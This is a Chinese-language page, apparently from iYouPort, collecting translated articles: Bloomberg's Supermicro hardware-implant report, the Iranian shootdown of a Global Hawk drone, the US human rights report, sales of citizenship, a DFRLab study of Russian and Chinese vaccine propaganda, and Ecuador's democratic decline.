彭博社说看到的文件显示，2014 年，Apple 计划在17个地点订购 6,000 多台 Supermicro 服务器，包括阿姆斯特丹，芝加哥，香港，洛杉矶，纽约，圣何塞，新加坡和东京，为现有的北卡罗来纳州和俄勒冈州数据中心增加 4,000 台服务器。到 2015 年，这些订单增加一倍多，达到 20,000。**Ledbelly** 让 **Apple** 成为重要的 **Supermicro** 客户，同时 **PLA** 被发现操纵供应商的硬件。

项目延迟和早期性能问题意味着，当该公司的安全团队发现被增加的芯片时，已经大约有 **7,000** 台 **Supermicro** 服务器在 **Apple** 的网络中嗡嗡作响。据一位美国官员称，由于苹果没有向政府调查人员提供其设施或篡改硬件的访问权限，因此他们认为攻击的范围仍然存在。

「图」

「图」

这种芯片的大小和一枚硬币比较的效果是这样的

美国调查人员最终发现其他人也受到了打击。由于植入的芯片设计用于 ping 互联网上的匿名计算机以获得进一步指示，因此操作人员可以破解这些计算机以识别受到影响的其他人。虽然调查人员无法确定他们是否找到了所有受害者，但熟悉美国调查的人士表示，他们最终得出结论，这个数字差不多是 **30** 家公司。

这留下了要通知谁以及如何通知的问题。美国官员多年来一直警告说，两家中国电信巨头华为公司和中兴通讯公司制造的硬件受中国政府操纵（华为和中兴通讯都表示没有发生过此类篡改行为）。但对于一家美国公司而言，类似的公开警报被认为是“不可能的”。相反，官员们联系了少数重要的 Supermicro 客户。一家大型网络托管公司的一位高管表示，他从交易所收到的消息很明确：Supermicro 的硬件无法信任。

亚马逊就其本身而言，开始与 Elemental 竞争对手进行收购谈判，但据一位熟悉亚马逊审议情况的人士透露，在得知 Elemental 的董事会即将与另一位买家达成协议后，它在 2015 年夏天改变了方向。亚马逊于2015年9月宣布收购 Elemental，据称该交易的价值高达 3.5 亿美元。多个消息称，亚马逊打算将 Elemental 的软件转移到 AWS 的云端，其芯片、主板和服务器通常由内部设计，并由亚马逊直接签约的工厂建造。

据两位了解 AWS 的人士称，一个值得注意的例外是 **AWS** 在中国境内的数据中心，其中充满了 **Supermicro** 构建的服务器。考虑到 Elemental 的调查结果，亚马逊的安全团队对 AWS 的北京设施进行了自己的调查，并在那里发现了被更改的主板，包括比以前遇到的更为复杂的设计。据一位看过芯片图的人说，在一个案例中，恶意芯片足够薄以至于它们可以嵌入在其他组件所附着的玻璃纤维层之间。此人说，那一代芯片比削尖的铅笔尖还小。（亚马逊否认 AWS 知道在中国发现含有恶意芯片的服务器）

长期以来，中国一直以自己的方式监控银行、制造商和普通公民，**AWS** 中国云的主要客户是在中国运营的国内公司或外国实体。

尽管如此，中国似乎正在亚马逊的云中进行这些业务，这给该公司带来了一个难解之谜。据熟悉该公司调查的人士透露，其安全团队认为，很难悄悄地拆除这些设备，即使他们可以设计出一种方式拆除，但这样做也会提醒攻击者芯片已经被找到了。

相反，该团队开发了一种监控芯片的方法。在接下来的几个月里，他们检测到了攻击者和被破坏的服务器之间的简短通信，但没有看到任何删除数据的企图。这可能意味着攻击者正在为后期操作保存芯片，或者在监控开始之前他们已经渗透到了网络的其他部分。这两种可能性都不会让人放心。

据知情人士透露，在 2016 年，当时中国政府即将通过一项新的网络安全法，该法律被国外许多人视为借口，使当局能够更广泛地获取敏感数据 — 亚马逊决定采取行动。今年8月，它将其北京数据中心的运营控制权移交给了当地合作伙伴北京 Sinnet，此举是为公司表示需要遵守即将出台的法律。接下来的11月，亚马逊以约 3 亿美元的价格将整个基础设施出售给北京 Sinnet。熟悉亚马逊的人士将此次出售作为“砍掉患病肢体”的选择。

至于 Apple，三位资深内部人士中的一位表示，在 2015 年夏天，在发现恶意芯片几周后，该公司开始从其数据中心移除所有 Supermicro 服务器，苹果公司在内部称其为“清零”。高级内部人士表示，每个 Supermicro 服务器都会在几周内被更换，大约 7000 台左右。（Apple 拒绝承认移除服务器）。2016 年，Apple 告知 Supermicro 它完全切断了他们之间的关系 — 这是苹果发言人在回应彭博社的问题时表述的决定，这是一个无关且相对较小的安全事件。

那年八月，Supermicro 的首席执行官梁透露，该公司失去了两个主要客户。虽然他没有说出两名客户的名字，但后来在新闻报道中将其中一个确定为 Apple。梁指责竞争，但他的解释含糊不清。“当客户要求降低价格时，我们的员工反应不够迅速，”他在与分析师的电话会议上表示。**Supermicro** 发言人 **Hayes** 表示，该公司从未被客户或美国执法部门通知其主板上存在恶意芯片。

在 2015 年非法芯片的发现和正在展开的调查中，Supermicro 一直受到会计问题的困扰，该公司将其定义为与某些收入确认时间相关的问题。在两个截止日期到却没能提交监管机构要求的季度和年度报告之后，Supermicro 于今年8月23日从纳斯达克退市。对于一家年收入在过去四年中大幅增长的公司来说，这是一个非同寻常的失误 — — 从 2014 年的 15 亿美元到今年预计的 32 亿美元。

2015 年9月下旬的一个星期五，美国总统巴拉克·奥巴马和中国国家主席习近平在白宫会面，进行了为期一小时的新闻发布会，标题是一项“具有里程碑意义”的网络安全协议。经过数月的谈判，美国从中国取得了一个“宏伟的承诺”：终止知识产权盗窃。据熟悉美国政府高级官员讨论的一位知情人士透露，白宫对中国愿意提供这种让步有着深

切担忧，是因为中国已经开发出了更加先进和暗中进行的骇客攻击形式，而且几乎垄断了技术供应链。

在协议宣布后的几周内（就是**2015**年**9 ~ 10**月间），美国政府在五角大楼组织的一场小型邀请会议中与几十位技术高管和投资者悄然发出警告。据在场的人士介绍，国防部官员向技术专家介绍了最近发生的袭击事件，并要求他们考虑创建可以检测硬件植入物的商业产品。该消息人士说，与会者没有被告知所涉及的硬件制造商的名称，但至少有一些人在房间里明确表示它是 Supermicro。

正在讨论的问题不仅仅是技术问题，还谈到几十年前决定将先进的生产工作送到东南亚的过往。在此期间，低成本的中国制造业已经成为许多美国最大的科技公司的商业模式的基础。例如，早期，Apple 在国内制造了许多最复杂的电子产品。然后在 1992 年，它关闭了位于加利福尼亚州弗里蒙特的一家最先进的主板和计算机组装工厂，并将大部分工作交给了海外。

几十年来，尽管西方官员多次发出警告，但供应链的安全性已经成为了一种信条。一种信念形成了，即 中国不太可能通过间谍行为来破坏其作为世界工厂的地位。这使得关于在何处建立商业系统的决定主要取决于容量最大和最便宜的地方。“你最终得到了经典的撒旦交易，”一位前美国官员说，“你可以拥有比你想要的更少的供应，并能保证它是安全的，或者你可以得到你需要的所有供应，但是会有风险。但每个组织都选择了后者。“

自 McLean 简报以来的三年里，没有任何商业上可行的方法可以检测出像 **Supermicro** 主板那样的攻击，甚至没有发现这种检测方法出现的可能性。很少有公司拥有苹果和亚马逊的资源，但即使是他们，发现问题也需要拼运气。“这些东西处于最前沿，并没有简单的技术解决方案，” McLean 的一位知情人士说。“你只能投资于世界所需要的东西，而无法投资于世界尚未准备接受的事物。“

Bloomberg LP 一直是 Supermicro 的客户。但根据 Bloomberg LP 发言人的说法，该公司没有发现任何证据表明它受到文章中所提出的硬件问题的影响。■

原文

伊朗击落的无人机是一个价值2.2亿美元的监视怪兽 - iYouPort

地缘政治

“这种飞机总会有一些超级秘密的间谍技术，我们不知道”

「图」

「图」

周四早上，伊朗在波斯湾和阿曼湾之间的霍尔木兹海峡击落了一架美军无人机。

伊朗将这架无人机确定为RQ-4A“全球鹰” —— 这是一架价值2.2亿美元的无人机，可作为天空中的大型监视平台。

这次袭击标志着美国和伊朗之间的紧张局势有所升级，特别是因为被击落的无人机的高价值和技术敏感性。

伊朗伊斯兰革命卫队周四表示，诺斯洛普·格鲁门公司制造的全球鹰 —— 可追溯到2001年的数十亿美元计划的一部分 —— 进入伊朗领空并在伊朗水域坠毁；美国中央司令部确认了袭击的时间和一般位置，但是坚称无人机当时在国际空域飞行。

此事件发生在上周的另一种情况之后，美国指责伊朗袭击了阿曼湾的两艘油罐车。

美国还说，伊朗曾试图击落一架不同的无人机—一架MQ-9收割者无人机—但失败了。

两周前，五角大楼还将伊朗与在也门的一架死神无人机袭击事件联系起来。

然而，星期四的这次袭击针对的是一架巨大的且昂贵得多的监视无人机，可能代表了更明确的升级。

“这里有很多事发生，我们可能只看到了其中的一部分，”战略与国际研究中心导弹防御项目主任 Thomas Karako 说。

“这是一种更昂贵的、更高海拔的、更强大的远程情报监视侦察机。如果这样的飞机在国际空域被击落，很可能会引发某种程度的报复。”

全球鹰是自2001年开始运作的大型监视平台，翼展超过130英尺，最大起飞重量超过16吨，相当于大约7个可卡因的集装箱。

它们的航程超过12,000海里，可以在惊人的60,000英尺高空飞行，并且可以在高空停留34小时。

它们的价值在于它们能将覆盖范围、有利位置和持久性与强大的监视传感器结合起来，能够非常详细地监视地面或海上的活动。

这大概就是为什么美国会花费2.2亿美元来制造和装备这种监视平台。

全球鹰通常在其传感器库中包括红外和热成像、雷达和电光成像。

巨大的体积和重量使得这种无人机能够利用巨大的长焦相机镜头等设备来获取目标的详细视图。

但正如欧洲外交关系委员会无人机研究员 Ulrike Franke 所指出的那样，美国军方为不同的任务提供了不同的无人机装备，于是无法确定这个特定的全球鹰携带的究竟是什么装备。

“这种飞机总会有一些超级秘密的间谍技术，我们不知道”，Franke 说。

但 Franke 表示，这种特殊的全球鹰作为一种典型的监视平台，更可能是因地缘政治原因而不是技术侦察的具体目标而被击落的。

目前还不清楚这些无人机的关键部分是否可以恢复，或者是否已经在攻击中被摧毁了。

伊朗在2011年12月以令人难忘的方式夺取了美国 RQ-170 哨兵无人机，后来声称已经对飞机的硬件和软件进行了逆向工程以复制其技术。

哨兵无人机被认为使用了隐形技术进行空中侦察。

去年，以色列官员说他们截获了一架似乎是哨兵“副本”的伊朗无人机。

至于全球鹰是否飞越伊朗领空，研究人员表示，明确的证据将要求美国公布有关无人机飞行路径的细节。

Karako 说：“他们是否想要发布更多细节是一个政策决定。但到目前为止，美国中央司令部坚持认为飞机在国际空域。”

目前还不知道无人机在被击落时飞行的高度如何，但如果它当时在高海拔地区，那意味着是一个有点困难的目标。

不过 Franke 仍然强调，高空拦截是在伊朗众所周知的能力范围内的。

他表示，“作为卖点通常认为全球鹰飞得如此之高应该不会被击落。但击落这样的飞机并非不可思议，虽然相对困难。它显示了政治方面的决心”。

作为回应，特朗普最初在周四发推文称，“伊朗犯了一个很大的错误！”

然而，在后来的评论中，特朗普似乎采取了一种不那么激进的语气，说：“我觉得很难相信这是故意的。”

不过分析人士表示，尽管伊朗拥有拦截无人机的技术并不令人震惊，但要做到这点需要雷达制导的地对空导弹系统 —— 看似俄罗斯向伊朗提供的 SA-6或 SA-17 SAM。

更灵活的寻热制导肩扛式地空导弹系统无法在高空击中目标。换句话说，这只能是故意的。〇

“There could always be super secret spy tech onboard that we don’t know about.”

原文

你的人权记录并不重要 - iYouPort

地缘政治

一直没有真正关心过人权的美国这次终于坦率地承认自己不关心人权，你觉得这是好事还是坏事？

「图」

「图」

特朗普的国务院在其年度人权报告中的表述非常坦率。

“[我国]政府的政策就是与其他政府接触，无论他们的人权记录如何，只要这样做能进一步有益于美国的利益，”国务卿迈克庞培在报告的序言中写道。该文件于周三发布，正式名为“2018年国家人权报告”。

这一真小人的坦诚引起了国际特赦组织的注意，该组织称：“令人惊讶的是，这种话居然出现在美国政府发布的官方人权报告中，这一报告长期以来一直被世界各国的领导人视为一项重要的可信性评估，关于世界各国的人权记录。“

该组织在一份声明中说：“这一声明向包括沙特王储穆罕默德·本·萨勒曼、和埃及总统 Sisi 在内的世界各国领导人发出的信号表明：美国不关心人权，甚至会原谅或忘记最恶劣的侵犯人权行为。”

Sisi 被称为“现代埃及历史上最具压制性的独裁者”，并被指责以“践踏人权和公民权利”为标志，推动他的国家“进一步走向专制主义”，包括“在全国范围内不断打击各种形式的异议”。

沙特阿拉伯—一个重要的美国盟友—因其恶劣的人权记录而受到三十个国家的指责。王国的王储穆罕默德·本·萨勒曼（Mohammad bin Salman，有时被称为 MbS）是“一位铁腕的领导者，尽管进行了表面上的改革，但他的国家人民则陷入了更多的镇压，并且导致也门三年的战争充满了战争罪行”—根据人权观察的 Philippe Bolopion 的说法。

MbS 的暴政针对妇女权利活动家，他也与记者 Jamal Kahsoggi 的可怕杀戮有关。然而，正如 CNN 报道的那样，

报告指出沙特阿拉伯杀害了华盛顿邮报的记者 *Jamal Khashoggi*，但是并没有提及是穆罕默德·本·萨勒曼王储下令的。

国务院报告的其他方面也引起了批评。

与去年一样，该部门没有解决生殖权利问题。“这个政府正在一次性删除妇女的权利，这是一项糟糕的政策，”生殖权利中心在一条推文中回应道。

该报告还忽视了国际观点，并提到了西岸、加沙、以及首先将戈兰高地称为“以色列控制的”而不是以色列占领的。

联合国将这三个地区均描述为以色列占领的地区。

Trump Admin to World: Your Human Rights Record Doesn’t Matter So Long As We Get Ours. It’s “astonishing to see this memorialized in black and white,” says Amnesty International USA

原文

你觉得一个国家可以自由地出售公民身份吗？ - iYouPort

地缘政治

还是移民问题。这次是投资移民。购买公民身份有很多合理的理由，但也的确存在欺骗性因素，即便在中国也是如此。有钱人为避免经济危机和社会动荡选择备用他国身份，而并非每个人都是为了逃税和洗钱……于是，这并非“你支持还是反对”的二选一问题。本文是经济学人的观点，建议加强审核，然而在我们看来并没那么简单

「图」

「图」

当 Roman Abramovich 续签英国签证出现问题时，他转向了瑞士。然而，瑞士警方表示他构成了一个“声誉风险”，并拒绝他的居住申请（他本人否认有不当行为）。这位金光闪闪的俄罗斯亿万富翁和切尔西足球俱乐部的老板现在拥有的是以色列的护照，允许他免签前往英国，并将一家前酒店改建为他自己的特拉维夫球场。

以色列为任何提出要求的犹太人提供国籍。通常收费在 10 万到 200 万美元之间的公民身份和住宅待售计划正在蓬勃发展。十几个国家出售护照，约 100 个国家出售住所。一个由律师、银行家、会计师、顾问和房地产经纪人组成的生意链已经非常火爆，他们为富有者的“投资移民”提供服务。

一些人是不同意出售护照这一想法的。他们认为，公民身份是一种神圣的纽带，只应该给那些能证明自己有价值的外国人。为什么要允许富人来排队？特别是因为其中一些购买身份的人是骗子或逃税者，他们只是想要一个新的家园来隐藏或洗净自己的战利品。

其实想要第二本护照是有正当理由的。来自贫穷国家的旅行商人面临无休止的签证麻烦，除非他们有护照；其他人则寻求额外的护照以作

为防止本国不稳定或迫害的保险；超过三分之一的富裕中国人希望有一个外国身份（这可能意味着蔑视中国政府禁止的双重国籍）。而满足这种需求的国家可以获得直接的好处：轻松赚钱用于公共服务。对于受飓风袭击的加勒比海地区，他国护照一直是作为生命线的存在。

无论谁获益，原则都会受到挑战。各国有权为试图成为本国人口的人保留公民身份，例如通过学习语言。但如果选民同意，他们也有权出售公民身份。公民身份是国家能力的基本面。

公民身份的销售不应该受到限制。欧盟成员国需要就管理谁应该接纳的共同原则达成一致，因为一国的护照可以提供在所有成员国的生活和工作。出售大量护照的小国家则面临另一种风险。如果他们过度出售，本土选民最终可能会被外来公民所超过。因此，有些地区可能希望将投票权限制在那些与该地方建立更深层联系的人范围内，例如每年在那里居住至少一段时间。

所有公民身份的卖家，无论大小，都应该做更多的事来清除不受欢迎的人。的确有很多时候，他们的计划为脏钱打开了后门; 想想通过塞浦路斯洗钱的俄罗斯不义之财，塞浦路斯是欧盟最热心的护照贩卖者之一，业界谈论一场好游戏，最近开始强调对客户审查的改进。但显然审查的进展太慢了。

现在是时候正视更为严格的“了解你的客户”规则，以及将那些为贪污移民提供避难所的国家列入黑名单。还需要更严格的规则来阻止某些护照买家，他们的目的是逃避合法的税收。比如在阿联酋买房的外国人。应该要求银行担负起考证的责任，揭露那些税收居住看起来像假的人。■

原文

俄罗斯和中国在全球疫苗竞赛中雇佣了国家资助的媒体和外交Twitter帐户 - iyouport

地缘政治

与克里姆林宫相关的社交媒体帐户主要在拉丁美洲推广，而中国则将目标对准了亚洲国家

将疫苗民族主义化的一切行动都足够证明，其行为者对人命的关注度远低于对其自身政治利益的重视。

这份调查的结论与一直以来人们的观察相一致，即 中国更专注于塑造自己，是防卫的姿态；而俄罗斯在塑造自己的同时更倾向于进攻。今年4月份，中国官方媒体普遍没有关注理论上引人注目的“美日协议”，而是专注于同期的博鳌亚洲论坛20周年，此事曾经引起一些异议人士的猜想，但其实并不奇怪，这正是中国一贯倾向于采取的战术模型。

在目前争夺COVID-19疫苗使用权的竞争中，俄罗斯和中国一直在通过国家资助的媒体和外交账号积极向国外宣传各自的疫苗。DFRLab发现，克里姆林宫资助的俄罗斯媒体对西方疫苗进行了负面报道，试图破坏信任，而中国国家支持的媒体则更多地专注于宣传本国疫苗的正面形象，以及中国在国际上对抗COVID-19的仁慈领导者的角色。

《疫苗的民族主义权力游戏只会毁掉一切》

作为全球大国，中国和俄罗斯试图发起一场新的外交运动，向全球其他国家，特别是亚洲、欧亚大陆、拉丁美洲和非洲的发展中国家提供自己的疫苗。这可以看作是他们提高国际地位的努力的一部分。更重要的是，通过向其他国家推广和出口疫苗，中国和俄罗斯能够扩大其地缘政治和经济影响力。DFRLab的调查显示，俄罗斯的宣传主要针对拉美国家，并在攻击西方疫苗的同时对本土疫苗使用了积极的措辞，而中国则更多地依靠拉拉队的说辞，将地缘政治的重点放在亚洲国家。

研究方法

「图」

利用Twitter的免费API和社交媒体内容分析工具 CrowdTangle，DFRLab分析了16家中国和10家俄罗斯国家支持的媒体，这些媒体用英语、西班牙语和法语发布内容。

除了这些媒体，本文还涵盖了中国和俄罗斯在四大洲运营的28个外交推特账号（大使馆、使馆发言人和大使）：拉美、欧洲、亚洲和非洲。外交账号的选择基于俄罗斯或中国各自与该国的经济和贸易关系以及军事和政治合作的感知强度。此外，本文分析的抽样对象包括已经向中国或俄罗斯购买疫苗的国家以及尚未购买疫苗的国家。DFRLab 总共分析了90个账户发布的20多万条Twitter帖子，包括国家支持的媒体和外交账户。下表显示了这些帖子在每个账户、地区和国家的分布情况。

除了外交账户，DFRLab 还选择了俄罗斯和中国国家支持的媒体。DFRLab 分析了俄罗斯从2020年8月11日开始和中国从2020年12月30日开始的Twitter和Facebook帖子，这两个日期都是根据他们首次批准各自疫苗的时间来选择的。

DFRLab 随后选择了俄罗斯和中国相关的疫苗标签和关键词，并确定了国家支持的媒体和外交账户在 Twitter 和 Facebook 帖子中的使用情况。下表显示了选定的关键词。

俄罗斯对西方疫苗的负面报道

「图」

虽然俄罗斯国家支持的国际媒体和推特上的外交账号发布的大多是对斯普特尼克五号疫苗的正面报道，但他们也推送了对西方疫苗的负面报道，显然是为了破坏公众对西方制造的疫苗的信任，让更多的公众相信俄罗斯疫苗比西方疫苗更有效。根据“斯普特尼克五号”网站的数据，“斯普特尼克五号”的疗效为91.4%，高于阿斯利康公司的疫苗（两剂后为70.4%），但低于辉瑞公司和摩德纳公司第二剂后的疗效，估计其疗效率分别为95%和94.1%。

在他们的报道中，一些没有事实依据的说法与阿斯利康和辉瑞疫苗的所谓危险副作用有关。例如，RT和Sputnik声称，这些疫苗会导致心理和神经系统疾病，西方疫苗的积极作用有限。Sputnik还放大了将

辉瑞疫苗与个人死亡联系在一起的报道，但没有提供更多细节，没有说明死亡是否真的是由疫苗接种造成的。正如DFRLab以前报告的那样，俄罗斯媒体对西方疫苗的这种负面说法经常被反疫苗团体放大。RT和Sputnik的文章

DFRLab的调查显示，关于俄罗斯疫苗斯普特尼克五号的正面内容压倒了针对西方疫苗的负面内容。俄罗斯的外交账户似乎特别强调针对拉丁美洲的市场。对31个俄罗斯外交账户的分析显示，俄罗斯驻拉美国家外交官或大使馆的账户在宣传斯普特尼克五号方面最为活跃，因为这些账户提及与俄罗斯疫苗相关的标签和关键词的频率高于其他三大洲外交账户的总提及次数量。

选定的标签和关键词的提及时间线显示，拉丁美洲的外交账户比其他大陆的账户更早开始宣传斯普特尼克五号。非洲和欧洲几乎同时开始宣传斯普特尼克五号。在四大洲的俄罗斯外交帐户提及与斯普特尼克五号相关的主题标签和关键字的时间表。

提到这些标签和关键词的推文在拉美地区获得了约50万的参与度，而俄罗斯驻欧洲外交账号发布的内容获得的参与度最小。拉美是受COVID-19疫情影响最严重的地区之一，截至2021年2月4日，拉美已有6个国家授权并购买了俄罗斯疫苗。该图显示了俄罗斯外交帐户在四个不同大洲的参与度和对斯普特尼克五号相关主题标签和关键字的提及。

俄罗斯国家支持的拉美媒体，包括RT和Sputnik的西班牙语版，在2020年8月11日俄罗斯首次正式批准使用斯普特尼克五号及其功效之前就开始发布相关内容。来自Twitter的屏幕抓图显示了俄罗斯国家支持的媒体用西班牙语发布的帖子，其内容表明斯普特尼克五号是安全的，并且临床试验取得了成功。时间在俄罗斯国家批准斯普特尼克五号之前的几天

根据与俄罗斯有联系的外交账户和拉丁美洲国家支持的媒体所发布的内容，DFRLab 创建了一个包括在他们的Twitter帖子中的共同出现的关键词的网络图，可以帮助研究人员能够识别文本中关键词之间的重复性联系。结果显示，在2020年8月11日至2021年2月12日的分析期内，这类外交账号和媒体大多包含“斯普特尼克五号”和“Vacuna Rusa”（“俄罗斯疫苗”）等关键词。

据此分析，阿根廷、墨西哥、委内瑞拉等国家也是关联度最高的关键词之一。阿根廷在2020年12月23日批准了“斯普特尼克五号”，适用于60岁以上的人群，此前该国针对不同的疫苗进行了至少8项临床试

验，其中一项就是“斯普特尼克五号”；墨西哥也在签署了2400万剂的合同后，于2021年2月2日批准了斯普特尼克五号的应急使用，其中墨西哥预计在2月至4月间使用740万剂。而委内瑞拉则在2月13日收到了首批10万剂俄罗斯疫苗。委内瑞拉曾于2021年1月13日授权使用斯普特尼克五号。该图显示了与俄罗斯相关的外交帐户在拉丁美洲使用的关键字之间的联系。红色的节点表示在Twitter上发布的帐户内容中关联性最高的关键字。

像外交帐户一样，俄罗斯国家支持的媒体也在其Twitter帖子中包含了类似的关键字，例如“ Sputnik V”和“ Russian疫苗”。该图显示了俄罗斯国家支持的西班牙语媒体所使用的关键字之间的联系。红色的节点表示在Twitter上发布的帐户内容中关联性最高的关键字。

DFRLab还比较了俄罗斯国家支持的媒体在Twitter和Facebook上的表现，尽管西班牙语内容在Twitter上提及与斯普特尼克五号有关的标签和关键词方面处于领先地位，但俄罗斯国家资助的媒体在Facebook上更频繁地使用与斯普特尼克五号有关的法语标签和关键词。在推特和Facebook上，英文的提及次数最少。图表显示了俄罗斯国家支持的媒体在Twitter和Facebook上与斯普特尼克五号相关的主题标签和关键字的参与度和提及。

DFRLab还分析了俄罗斯媒体在Twitter和Facebook上提及西方疫苗的情况，发现辉瑞公司在所有三种语言的媒体中被提及的频率最高，其次是阿斯利康。摩德纳获得的提及次数最少。图表显示了俄罗斯国家支持的媒体在*Twitter*和*Facebook*上提及西方疫苗的名称。

中国疫苗相关的叙述

「图」

中国国家媒体和外交账号在社交媒体上似乎并没有花大力气去宣传虚假叙事，没有在外国读者眼中诋毁西方疫苗。相反，DFRLab的调查发现，一批属于中国国家媒体和外交账号的社交媒体账号在Facebook和Twitter上集中宣传中国自己的疫苗，并展示中国致力于领导向发展中国家，特别是亚洲国家分发疫苗的努力。

对28个中国外交账号在Twitter上的分析显示，这些账号在亚洲和南美国家都获得了大量的参与。从下面两张图可以看出，这些外交账号在亚洲国家发布的标签和关键词与中国COVID-19疫苗相关的最活跃，而在非洲、欧洲和南美，同一组标签的提及量也差不多。尽管拉美国家的外交账号发帖相对不活跃，但其帖子还是获得了较高的参与

度。因此，这表明中国外交账号在亚洲国家强调其疫苗活动，但在拉美国家却获得了高参与度。

如果您错过了《局势：中国正在努力扩大与拉美的联系》中国外交人员在Twitter上的趋势关键词，分别根据亚洲、非洲、欧洲和南美的发帖和参与次数计算。

中国外交账号发布最多的关键词是科兴、国药控股和COVAX，显示了中国推广疫苗的整体战略，以及成为国际领先的COVID-19疫苗供应商的雄心。

科兴和国药控股是中国两家研发COVID-19疫苗的生物制药企业。COVAX是在全球疫苗与免疫联盟、世界卫生组织和流行病防备创新联盟的领导下，寻求在全球范围内公平分配COVID-19疫苗的全球疫苗倡议。中国已于2020年10月加入该倡议。

科兴和国药控股的频繁发文，不断提醒账号的关注者中国疫苗近期的积极动态，包括中国疫苗向其他国家的交付、中国疫苗的疗效测试，以及对COVAX倡议的投入等，从而让人们对中国疫苗的可靠性和可负担性产生印象。中国官方媒体的一系列帖子旨在提高国际社会对中国疫苗的认识，尤其是关于其有效性、可负担性和可及性方面的信息。

频频提及COVAX，说明外交部门不仅宣传中国疫苗，还围绕着中国在满足发展中国家在疫情中的疫苗需求方面的领导力推送正面信息。

一方面，外交账号不断发布科兴和国药控股的帖子，让其关注者经常接触到歌颂中国疫苗高质量的信息。另一方面，经常性地提到COVAX作为一个全球性的倡议，旨在塑造中国作为一个充满爱心的全球领导者的形象，为发展中国家提供负担得起的有效疫苗。这种试图塑造全球对中国的看法的举动显然与中国的话语权理念相一致。中国官方媒体和外交账号中提到“ COVAX”的帖子集，旨在通过致力于中国对COVAX和其他发展中国家的贡献来提升中国的国际形象。

对中国国家媒体在Twitter和Facebook上的账户进行的类似分析进一步表明，以英文发布的疫苗相关内容比以法语或西班牙语发布的疫苗相关内容出现的频率更高，因此获得的互动次数也更多。国家控制的媒体在Twitter和Facebook上发布的英文帖子数量远远超过了法语和西班牙语，互动数量也是如此。法语和西班牙语与疫苗有关的帖子数量及其参与/互动数量相当。中国官方媒体帐户在*Twitter*和*Facebook*上的热门关键字，以英语、法语和西班牙语报道的帖子和互动次数。

此外，DFRLab的调查还发现，与俄罗斯相比，中国外交账号和国家媒体账号在推特和Facebook上对西方疫苗的叙事，尤其是以虚假信息的形式，并没有那么多关注。外交账号极少发布关于这些西方疫苗的信息，可能是因为出于其关注构建中国相关叙事的主要目的。

「图」

在非洲，亚洲和南美的中国外交官在Twitter上提到西方疫苗

中国官方媒体在Twitter上以英语，法语和西班牙语提及西方疫苗的消息

中国和俄罗斯对西方疫苗保持着不同的议程：俄罗斯试图以负面的角度来描述它们，而中国国家支持的媒体则较少这样做。然而，两国在优先推广本国疫苗方面是相似的，尽管宣传运动的地理重点略有偏差。两国不仅要塑造本国疫苗的国际声誉，还要突出自己作为世界领导者的角色，为发展中国家提供疫苗。大致看来，中国和俄罗斯关注的地区不同：俄罗斯在拉美地区积极推广其疫苗，而中国则在亚洲地区更积极地推广其疫苗。

不相关的消息 ——

「图」

据Axios报道，Facebook、Twitter 和 Snap 等公司都是协助拜登政府开展疫苗宣传活动的主力。

白宫希望通过这一宣传努力，覆盖可能对疫苗有较高的犹豫水平的人群。据 Axios 报道，总统的首席医疗顾问安东尼·福齐（Anthony Fauci）将在 Snapchat 上做视频短片，Facebook 和 Twitter 将发送推送提醒，通知用户接种疫苗。副总统卡马拉·哈里斯也参与社交媒体的推送。

根据美国疾病控制和预防中心（CDC）的数据，一半的美国成年人至少接种过一次COVID-19疫苗，但政府似乎担心，4月初暂停使用强生疫苗的决定可能会让已经对接种疫苗犹豫不决的人更加谨慎。

食品和药物管理局(FDA)和疾控中心建议美国暂停使用强生疫苗，因为有六名接受注射的人出现了不寻常的血栓。这些机构希望有时间调查血栓和疫苗之间是否有联系。

“我们可以确认，Snap一直在与白宫联系，就努力在 Snapchatters 中宣传疫苗的意识”，发言人在给The Verge的一封电子邮件中说，该发言人没有详细说明这些努力的细节。

同样，Twitter发言人证实，该公司正在“与白宫合作，提升有关COVID-19的权威信息”，但没有分享更多细节。

Facebook 和白宫都没有回复置评请求。〇

Russia and China employ state-funded media and diplomatic Twitter accounts in global vaccine race

原文

厄瓜多尔民主的缓慢扼杀 - iYouPort

地缘政治

DANIEL McAVOY 写道，随着厄瓜多尔政府为精英阶层提供服务，民主抵抗的空间受到严重限制。

美国的军用飞机飞越天空，抗议教育不公的学生们面临政治迫害。这不是拉丁美洲的黑暗和遥远的过去，这就是今天的厄瓜多尔。这一切清楚地提醒着人们社会正在如何退步。

「图」

「图」

在世纪之交席卷拉丁美洲的社会变革是现代人类历史上最先进的进步之一。委内瑞拉、玻利维亚、巴西、阿根廷、尼加拉瓜、乌拉圭和其他国家的政府共同推倒了数十年的欠发达、排外主义、贫困和不平等。在拉斐尔·科雷亚的领导下，厄瓜多尔是左翼潮流的核心部分，在短短十多年的时间里，贫困人口减少了三分之一，不平等程度比几乎任何其他拉美国家都要低。

精英们被迫缴纳税款，为卫生和教育方面的巨额投资提供资金。

外交政策重新定位，重点是与地区邻国的合作，远离美国的统治，这种统治使拉丁美洲的历史变得更糟。厄瓜多尔踢出美国军事基地就是最好的例证。

但自从科雷亚的任期于2017年5月结束以来，他的继任者列宁莫雷诺已经开始打倒这一社会进步所依赖的每一个支柱。

拉丁美洲的任何政府都不能在为其人民提供服务的同时、在与美国的关系中保持更大的独立性。不仅仅是由于地理上接近世界上这个最大的军事超级大国扭曲了拉丁美洲的政治，更有，华盛顿为了自己的利益而支持每个国家的统治精英。所以列宁莫雷诺与美国的密切关系是所有进步人士的担忧。

美国副总统迈克·彭斯在春季访问厄瓜多尔，开始破坏厄瓜多尔曾经的主权外交政策。此后，在厄瓜多尔开设了一个新的美国安全合作办公室—这个办公室曾经在科雷亚任期内被关闭。一架美国军用洛克希德飞机现在飞越厄瓜多尔的天空，其借口是“打击有组织犯罪”。

本周厄瓜多尔外交部长正在华盛顿会见国务卿迈克庞培。媒体猜测这是对委内瑞拉的进一步压制和结束厄瓜多尔对 Julian Assange 的庇护的一部分—— 由于担心维基解密暴露美国在阿富汗和伊拉克的战争罪行。

渐进的国内政策也受到挫折。莫雷诺决定取消私人公司欠国家的数十亿美元，这说明了他的政府对阶级的忠诚，但反对他的政府新自由主义转变的抗议活动也正在加剧。学生们反对计划在2019年进行的4亿美元的教育削减，工人们的游行集中在政府结束燃料补贴等政策导致的生活成本上升。

但在民主方面，逆转可能是最尖锐的。

2018 年厄瓜多尔对民主自由的攻击令人恐惧。首先，莫雷诺总统组织了一次多问题公民投票，尽管没有得到宪法法院的批准，但仍在继续进行。

其中一个较为模糊的问题被用作借口，利用一个全能的“临时性委员会”来摧毁宪法法院法官并使其职位架空、取代总检察长和全国选举委员会、司法委员会和其他成员，塑造与政府更加一致的机构。厄瓜多尔显然违反了世界各地总统制中体现的三权分立。

